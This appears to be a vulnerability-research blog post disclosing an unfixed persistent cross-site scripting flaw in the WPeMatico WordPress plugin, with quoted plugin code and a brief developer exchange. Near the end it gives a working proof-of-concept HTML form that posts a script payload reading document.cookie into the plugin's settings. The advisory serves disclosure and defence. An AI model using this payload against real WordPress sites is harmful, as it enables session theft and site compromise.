Hackers May Already be Targeting this Persistent XSS Vulnerability in WPeMatico RSS Feed Fetcher
As part of monitoring we do to make sure we are providing customers of our service with the best possible data on vulnerabilities in WordPress plugins they may be using we monitor for what look to be hackers probing for usage of plugins to make sure we quickly can warn our customers of unfixed vulnerabilities that hackers are likely targeting. There seems to be an ongoing hacker campaign exploiting previously undisclosed vulnerabilities as in the past couple of weeks there have eight plugins that we have seen hackers newly probing for and number nine is WPeMatico RSS Feed Fetcher (WPeMatico), for which there was probing on our website today by requesting these files:
- /wp-content/plugins/wpematico/readme.md
- /wp-content/plugins/wpematico/readme.txt
- /wp-content/plugins/wpematico/app/js/campaign_wizard.js
In looking at the plugin we found that, like a number of the other plugins, it contains a persistent cross-site scripting (XSS) vulnerability.
When saving the plugin’s settings the POST input “wpematico-action” is sent with the value “save_settings”. The function wpematico_process_actions() is registered to run during admin_init, so when accessing an admin page, even if you are not logged in to WordPress:
1570 | add_action('admin_init', 'wpematico_process_actions'); |
When saving the settings that function will cause the action wpematico_save_settings to run:
1571 1572 1573 1574 | function wpematico_process_actions() { if(isset($_POST['wpematico-action'])) { do_action('wpematico_' . $_POST['wpematico-action'], $_POST); } |
That in turn will cause the function to run wpematico_settings_save():
695 | add_action( 'wpematico_save_settings', 'wpematico_settings_save' ); |
That function will save the plugin’s settings:
696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 | function wpematico_settings_save() { if ( 'POST' === $_SERVER[ 'REQUEST_METHOD' ] ) { if ( get_magic_quotes_gpc() ) { $_POST = array_map( 'stripslashes_deep', $_POST ); } # evaluation goes here check_admin_referer('wpematico-settings'); $errlev = error_reporting(); error_reporting(E_ALL & ~E_NOTICE); // desactivo los notice que aparecen con los _POST $cfg = apply_filters('wpematico_check_options',$_POST); if(! wpematico_is_pro_active() ) $cfg['nonstatic'] = false; else $cfg['nonstatic'] = true; wp_get_current_user(); $role_conf = array(); foreach ( $_POST['role_name'] as $role_id => $role_val ) { $role_conf["$role_val"]= $role_val; } $cfg['roles_widget'] = $role_conf; wp_clear_scheduled_hook('wpematico_cron'); if( isset($cfg['disablewpcron']) && $cfg['disablewpcron'] ){ define('DISABLE_WP_CRON',true); } if( isset($cfg['enable_alternate_wp_cron']) && $cfg['enable_alternate_wp_cron'] ){ if(!defined('ALTERNATE_WP_CRON') ) { define('ALTERNATE_WP_CRON',true); } } if( !(isset($cfg['dontruncron']) && $cfg['dontruncron'] )) { wp_schedule_event(time(), 'wpematico_int', 'wpematico_cron'); } if( update_option( WPeMatico::OPTION_KEY, $cfg ) ) { |
The code lacks a capabilities checks to limit access to changing the settings to the users intended to be able to do it and sanitization/validation of the new values for the settings. What it does include is a nonce check to prevent cross-site request forgery (CSRF), which would normally restrict access to those without access to the settings page from saving the settings, unfortunately through the previously mentioned wpematico_process_actions() function anyone can get access to that.
The nonce is generated in the function wpematico_settings():
93 | function wpematico_settings(){ |
135 | wp_nonce_field('wpematico-settings'); |
That can be accessed through the action wpematico_settings_tab_settings:
92 | add_action( 'wpematico_settings_tab_settings', 'wpematico_settings' ); |
As the proof of concept below shows, that can be combined to cause malicious JavaScript to at least run on the plugin’s admin page, which is persistent cross-site scripting (XSS) vulnerability.
WordPress Causes Full Disclosure
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof concept will cause an alert box with any available cookies to be shown on the page /wp-admin/edit.php?post_type=wpematico&page=wpematico_settings.
Make sure to replace “[path to WordPress]” with the location of WordPress and “[nonce]” with the value found on /wp-admin/admin-post.php?wpematico-action=settings_tab_settings
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-post.php" method="POST"> <input type="hidden" name="wpematico-action" value="save_settings" /> <input type="hidden" name="_wpnonce" value="[nonce]" /> <input type="hidden" name="cron_code" value='"><script>alert(document.cookie);</script>' /> <input type="submit" value="Submit" /> </form> </body> </html>
Hi,
You said about the nonce:
That can be accessed through the action wpematico_settings_tab_settings:
92 add_action( ‘wpematico_settings_tab_settings’, ‘wpematico_settings’ );
Could you explain how to access to the [nonce] value without have access as admin to the Settings screen of the plugin or by adding php code to the website ?
Thanks
We don’t really follow your question, as that is already addressed both in the description of the vulnerability as well as in the proof of concept.